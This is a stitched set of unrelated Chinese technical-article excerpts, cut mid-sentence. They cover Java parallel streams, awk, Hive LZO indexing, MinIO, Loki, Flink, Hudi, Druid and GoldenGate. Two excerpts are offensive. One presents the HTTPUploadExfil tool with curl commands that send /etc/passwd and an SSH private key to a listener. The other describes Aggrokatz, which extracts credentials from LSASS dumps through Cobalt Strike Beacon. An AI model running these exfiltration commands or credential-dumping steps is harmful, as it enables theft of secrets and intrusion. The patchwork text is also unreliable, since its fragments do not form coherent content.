在Java中，Java 8引入了并行流（Parallel Streams）和并发流（Concurrent Streams）作为处理集合数据的新特性。这两个特性旨在提高对大型数据集的处理性能。...在Java中，我们可以使用`parallel`方法将顺序流转换成并行流。 下面是一个使用并行流的实际案例。...然后，我们使用并行流的`parallelStream`方法将顺序流转换成并行流。接着，通过`mapToLong`方法将每个元素进行平方处理，并使用`sum`方法计算处理后的元素的总和。...需要注意的是，并行流在某些情况下可能会产生额外的性能开销，因此在选择使用并行流时需要根据具体情况进行评估。...需要注意的是，并发流在某些情况下可能会引入竞态条件和线程安全问题，因此在使用并发流时需要注意数据的正确同步。 并行流和并发流都是为了提高对大型数据集的处理性能而引入的特性。
我们再通过Fork和Join这两个单词来理解下Fork/Join框架，Fork就是把一个大任务切分为若干子任务并行的执行，Join就是合并这些子任务的执行结果，最后得到这个大任务的结果。...工作窃取的运行流程图如下： 那么为什么需要使用工作窃取算法呢？...而在这时它们会访问同一个队列，所以为了减少窃取任务线程和被窃取任务线程之间的竞争，通常会使用双端队列，被窃取任务线程永远从双端队列的头部拿任务执行，而窃取任务的线程永远从双端队列的尾部拿任务执行。...工作窃取算法的优点是充分利用线程进行并行计算，并减少了线程间的竞争，其缺点是在某些情况下还是存在竞争，比如双端队列里只有一个任务时。并且消耗了更多的系统资源，比如创建多个线程和多个双端队列。...java8新的写法 /************************************** 并行流 与 顺序流 *************************************
前言 前几天在才哥的交流群有个叫【杭州-学生-飞飞飞】的粉丝在群里问了一个json文件处理的问题。 看上去他只需要follower和ddate这两个字段下的对应的值。...我们知道json是一种常见的数据传输形式，所以对于爬取数据的数据解析，json的相关操作是比较重要的，能够加快我们的数据提取效率。...当然了，如果你的文件本来就是json文件，也可以直接读取，代码类似： import json import jsonpath obj = json.load(open('罗翔.json', 'r',...这里墙裂给大家推荐jsonpath这个库，感兴趣的小伙伴可以学习学习，下次再遇到json文件提取数据就再也不慌啦！...最后感谢粉丝【杭州-学生-飞飞飞】提问，感谢【才哥】、【成都-IT技术支持-小王】、【深圳-Hua Bro】和小编提供的思路和代码。
读取数据也是同理fscanf读取一行字符串，除了文件外，还有键盘和网卡。 ...但是实际在输出数据的时候，写文件和写入网卡调用的函数似乎并不相同，因为在向网络输出数据的时候，我们需要考虑网络字节序，而写入文件则无需考虑这些。...fgets 的函数声明如下： 第一个参数：存储读取到的字符串 第二个参数：要读取的字符个数 第三个参数：任意输入流，文件流或者标准输入流（即文件指针或者stdin） 返回值：读取成功则返回读取到的字符串地址...值得注意的是，如果存在多行， 调用 fgets 读取时，读取完第一行的所有字符，才会转到第二行开始读取，并不是 每调用一次 fgets 就换一行。 ...fread 函数声明如下： 第一个参数：可以是一个数组，用于存放读取到的内容 第二个参数：数组元素的大小 第三个参数：数组大小 第四个参数：文件流 注意：和fwrite 一样，可以使用一个变量来接收读取到的内容
; 这是当时创建表时的语句，指定了存储格式为lzo，然后执行了为lzo文件创建索引的命令 hadoop jar /opt/module/hadoop-3.1.3/share/hadoop/common...所以在HDFS上的hive里存着lzo格式数据和lzo.index索引文件，这便于对文件进行切片。...但是select * from ods_log不执行MR操作，默认采用的是ods_log建表语句中指定的DeprecatedLzoTextInputFormat，能够识别lzo.index为索引文件。...select count(*) from ods_log执行MR操作，默认采用的是CombineHiveInputFormat，不能识别lzo.index为索引文件，将索引文件当做普通文件处理。...更严重的是，这会导致LZO文件无法切片。
如果使用两个文件filname1.ext filname2.ext，则就会看到差别了。...原来：FNR，是每个文件中的，换了一个文件，会归零；而NR则每个文件会累加起来的 7) 使用简单样式来输出 下面表示"行号占用5位，不足补空格" [root@localhost ~]# awk '{...#awk 'END { print NR }' test.file 10) 计算每一行的和 s用作每行和的累加，从1到NF(每行总的字段数)，依次累加 # awk '{ s = 0; for...(i = 1; i <= NF; i++) s = s+$i; print s }' test.file 11) 计算文件中所有字段的和 s用作总和的累加，每行都处理完成了，再输出s；注意和10...$i; print }' test.file 13) 计算文件中总的字段和（例如计算单词数） # awk '{ total = total + NF }; END { print total }'
引言在现代Web应用程序开发中，文件的上传、读取、下载和删除是非常常见的功能。Spring Boot 是一个流行的Java框架，而MinIO则是一个高性能的对象存储服务。...本文将详细介绍如何使用Spring Boot和MinIO实现文件上传、读取、下载和删除的功能。图片准备工作在开始之前，需要进行一些准备工作：安装Java JDK并配置好环境变量。...与文件读取接口类似，我们首先获取MinIO连接信息，并创建MinioClient实例。然后，使用getObject方法获取文件流，并将其封装为InputStreamResource对象。...测试完成以上步骤后，你可以启动Spring Boot应用程序，并使用任何HTTP客户端（如Postman）来测试文件上传、读取、下载和删除的功能。...请记得根据实际情况替换URL中的{filename}和存储桶名称。结论通过使用Spring Boot和MinIO，我们可以方便地实现文件上传、读取、下载和删除的功能。
很明显，这是一种非常方便强大但又存在一定限制的数据/文件提取方式。然而，HTTPUploadExfil的使用比SMB或FTP要更加简单。.../httpuploadexfil :1337 /home/kali/loot 在需要提取过滤文件数据的目标设备中，访问下列地址： http://YOUR_IP:1337/ 此时，我们就可以在自己设备上的...HTTPs模式 HTTPUploadExfil 还能够以HTTPs模式运行，此时我们需要在项目代码文件中存储一个HTTPUploadExfil.csr和一个HTTPUploadExfil.key文件即可...Shell 在Bash的帮助下，我们可以使用GET请求来实现文件数据的提取和过滤，比如说： echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1...:8080/g 当然了，我们同样可以使用curl来实现文件数据的提取和过滤： curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p 项目地址
当前版本的Aggrokatz允许pypykatz解析LSASS导出文件和注册表项文件，并在无需下载文件或向Beacon上传可疑代码的情况下，从中提取出用户凭证和其他存储的敏感信息。...，结果将会在Script Console窗口和Beacon窗口中查看到解析结果； LSASS导出解析菜单参数 LSASS file：远程主机中lsass.dmp文件的路径位置，你还可以使用UNC路径并通过...chunksize：一次读取的最大数据量。 BOF file：BOF文件（Beacon对象文件），这个文件将在每次进行数据块读取的时候上传并在内存中执行。...SOFTWARE file（可选）：远程主机中SOFTWARE.reg文件的路径位置，你还可以使用UNC路径并通过SMB来访问共享的文件。 chunksize：一次读取的最大数据量。...工具限制 文件读取BOF当前仅支持最大的文件大小为4GB，但这个限制可以通过一些修改来扩展，但是到目前为止还没有观察到如此大的文件。
问题描述：在当前文件夹中有一个存放同一门课程两个班级同学成绩的Excel文件“学生成绩.xlsx”，每个工作表中存放一个班级的成绩。...编写程序，使用pandas读取其中的数据，然后绘制柱状图和热力图对学生的成绩数据进行可视化。...技术要点：1）使用pandas读取Excel多WorkSheet中的数据；2）使用pandas函数merge()横向合并DataFrame；3）柱状图与热力图的绘制。 测试数据： ? 参考代码： ?
日志数据本身被压缩然后并存储在对象存储（例如 S3 或 GCS）的块中，甚至存储在本地文件系统上，轻量级的索引和高度压缩的块简化了操作，并显着降低了 Loki 的成本，Loki 更适合中小团队。...哈希 Distributors 将一致性哈希和可配置的复制因子结合使用，以确定 Ingester 服务的哪些实例应该接收指定的流。...流是一组与租户和唯一标签集关联的日志，使用租户 ID 和标签集对流进行 hash 处理，然后使用哈希查询要发送流的 Ingesters。...如果传入的行与之前收到的行完全匹配（与之前的时间戳和日志文本都匹配），传入的行将被视为完全重复并被忽略。 如果传入的行与前一行的时间戳相同，但内容不同，则接受该日志行。...对于 Bigtable 和 Cassandra，索引条目被建模为单个列值。哈希键成为行键，范围键成为列键。 一组模式集合被用来将读取和写入块存储时使用的匹配器和标签集映射到索引上的操作。
与操作符状态不同， keyed state的作用域是键，键是从每个流事件中提取的。 为了说明 keyed state与operator state的区别，让我们使用下面的示例。...假设我们有一个事件流，其中每个事件都有模式{customer_id:int, value:int}。我们已经知道，我们可以使用operator state来计算和发出所有客户值的运行和。...虽然这种方法可以从顺序读模式中受益，但每个子任务都可能读取大量不相关的状态数据，分布式文件系统接收大量并行读请求。 另一种方法是建立一个索引，跟踪检查点中每个键的状态位置。...通过这种方法，所有子任务都可以非常有选择性地定位和读取匹配的键。这种方法可以避免读取不相关的数据，但它有两个主要缺点。所有键的物化索引，即key到读offset的映射，可能会增长得非常大。...简而言之，key-groups为我们提供了一种在缩放灵活性(通过设置并行度上限)和索引和恢复状态所涉及的最大开销之间进行交换的方法。 我们将key-groups作为分配给子任务的范围。
对于读取，从数据库中提取相当多的行，但只提取列的一小部分。...另一个例子：UnionBlockInputStream 的构造函数接受多个输入源和多个线程，其能够启动多线程从多个输入源并行读取数据。...此外还有行流：IRowInputStream 和 IRowOutputStream。它们允许你按行 pull/push 数据，而不是按块。行流只需要简单地面向行格式实现。...但是也有值得注意的例外： AST 查询被传递给 read 方法，表引擎可以使用它来判断是否能够使用索引，从而从表中读取更少的数据。 有时候，表引擎能够将数据处理到一个特定阶段。...然后你可以通过不同的转换对这些流进行装饰（比如表达式求值或过滤），转换过程能够独立计算，并在其上创建一个 UnionBlockInputStream，以并行读取多个流。
更具体点就是表中每一行数据不是新行并且可能和之前写入的行会重叠，在这种场景下，系统需要决定哪一行需要被更新，因此需要找到需要更新哪个fileId。...并行度：写入时并行度最好等于分区总数，每个批次在一个桶中最多创建一个HFile。 需要注意的是数据写入和索引写入过程是绑定的，需要在一个ACID内完成，即要么一起提交，要么一起回滚。...上面介绍的工作流即可支持而无需任何修改。 3.6 Hashing 作为默认实现，我们可以使用Java原生的Hash算法对RecordKey进行Hash，但是可支持开发者自定义Hash算法。...每隔一段时间，压缩将提取基础HFile和所有delta HFile文件，以创建一个新的基本文件（内联HFile）作为压缩版本。 下面是一个例子，说明在压缩前和压缩后，索引在单个桶中的结构 ? ?...使用这种布局，回滚和提交也很容易处理。上面结构得到与Hudi分区相同的文件系统视图（基础HFile和增量HFile）。
不是从数据集中插入单个记录，而是从Kafka流中读取事件（在Netflix的情况下为指标）。每个数据源使用1个主题。...在Druid中，Netflix使用Kafka索引编制任务，该任务创建了多个在实时节点（中间管理者）之间分布的索引编制工作器。 这些索引器中的每一个都订阅该主题并从流中读取其事件共享。...索引器根据摄入规范从事件消息中提取值，并将创建的行累积在内存中。一旦创建了行，就可以对其进行查询。到达索引器仍在填充一个段的时间块的查询将由索引器本身提供。...在提取期间，如果任何行具有相同的维度，并且它们的时间戳在同一分钟内（Netflix的查询粒度），则这些行将被汇总。...一旦累积的行数达到某个阈值，或者该段已打开太长时间，则将这些行写入段文件中并卸载到深度存储中。然后，索引器通知协调器该段已准备好，以便协调器可以告诉一个或多个历史节点进行加载。
例如，将更新操作由基于行存的日志文件归集到列存数据上。 Index- Hudi维护着一个索引，以支持在记录key存在情况下，将新记录的key快速映射到对应的fileId。...Compaction操作的基本并行单位是对一个fileID的重写，Hudi保证所有的数据文件的大小和HDFS的块大小对齐，这样可以使Compaction操作的并行度、查询的并行度和HDFS文件总数间取得平衡...在默认配置下，Hudi使用一下写入路径： Hudi从相关的分区下的parquet文件中加载BloomFilter索引，并通过传入key值映射到对应的文件来标记是更新还是插入。...这两种输入格式都可以识别fileId和commit时间，可以筛选并读取最新提交的文件。然后，Hudi会基于这些数据文件生成输入分片供查询使用。...由于Hudi在元数据中维护了每次提交的提交时间以及对应的文件版本，使得我们可以基于起始时间戳和结束时间戳从特定的Hudi数据集中提取增量的变更数据集。
使用检查点机制，即使在发生故障时，我们也可以确保所有日志都被提取。 完整的日志提取实现以及构建说明可以在Gi t Hub 上找到 。但是，在构建和运行它之前，让我们仔细看一下流作业本身。...我们首先通过使用FlinkKafkaConsumer 源读取原始String消息，然后将它们转换为Map 的流以更方便地访问来实现。...请注意，将keyBy操作应用于Map流。原因是并行窗口操作仅在键控流上执行。我们决定选择容器ID作为键，但是我们也可以使用任何合理的键为索引步骤提供所需的并行性。...随着并行度的增加，我们可能还必须添加更多的任务管理器和内存。 使用Hue记录仪表板 现在，我们的日志由Flink作业连续处理和索引，最后一步是通过交互式图形界面将其公开给最终用户。...Graylog Graylog是专门设计用于日志聚合和监视的系统。它带有自己的日志提取逻辑和自定义附加程序，可以将其配置为直接使用我们的日志。
它是为需要快速查询和提取的工作流而设计的。德鲁伊在即时数据可视性，即席查询，运营分析和处理高并发方面表现出色。” — druid.io 因此，Druid非常适合现在我们面临的这种用例。...这些事件（在本例中为指标）不是从单个记录插入到数据源中，而是从Kafka流中读取。每个数据源使用1个主题。...在Druid中，我们使用Kafka索引编制任务，该任务创建了多个在实时节点中间管理者之间分布的索引编制工作器。 这些索引器中的每一个都订阅该主题，并从流中读取其事件共享。...索引器根据摄入规范从事件消息中提取值，并将创建的行累积在内存中。一旦创建了行，就可以对其进行查询。到达索引器仍在填充一个段的时间块的查询将由索引器本身提供。...在提取期间，如果任何行具有相同的维度，并且它们的时间戳在同一分钟内（我们的查询粒度），则这些行将被汇总。这意味着通过将所有度量值加在一起并增加一个计数器来合并行，因此我们知道有多少事件促成了该行的值。
中读取数据 行程流式数据读取，读取 socket 文本流。...而消息队列的传输方式，恰恰和流处理是完全一致的。所以可以说 Kafka 和 Flink 天生一对，是当前处理流式数据的双子星。...rebalance使用的是 Round-Robin 负载均衡算法，可以将输入流数据平均分配到下游的并行任务中去。 注：Round-Robin 算法用在了很多地方，例如 Kafka 和 Nginx。...1的并行子任务上 // 将偶数发送到索引为0的并行子任务上 // 这里使用了并行数据源的富函数版本 // 这样可以调用 getRuntimeContext...StreamingFileSink 为批处理和流处理提供了一个统一的 Sink，它可以将分区文件写入 Flink支持的文件系统。
Replicat 进程的每个实例都称为group，其中包括进程本身和支持它的相关文件。Replicat 读取发送到本地存储的数据 trail，并将其应用到目标数据库。...l 集成捕获使用数据库日志挖掘服务器访问 Oracle 重做流，好处是能够在存档日志的不同副本或在线日志的不同镜像版本之间自动切换。...在这种模式下，Replicat 操作如下： l 读取 Oracle GoldenGate trail 文件。 l 执行数据过滤、映射和转换。...在这种模式下，Replicat 操作如下： l 读取 Oracle GoldenGate trail 文件。 l 执行数据过滤、映射和转换。...补充的目的是高度还原 update 命令，避免因为 update 命令造成的行迁移和行移动影响对日志的分析，让LogMiner 通过分析重做日志识别 update 命令不是由 insert 和 delete
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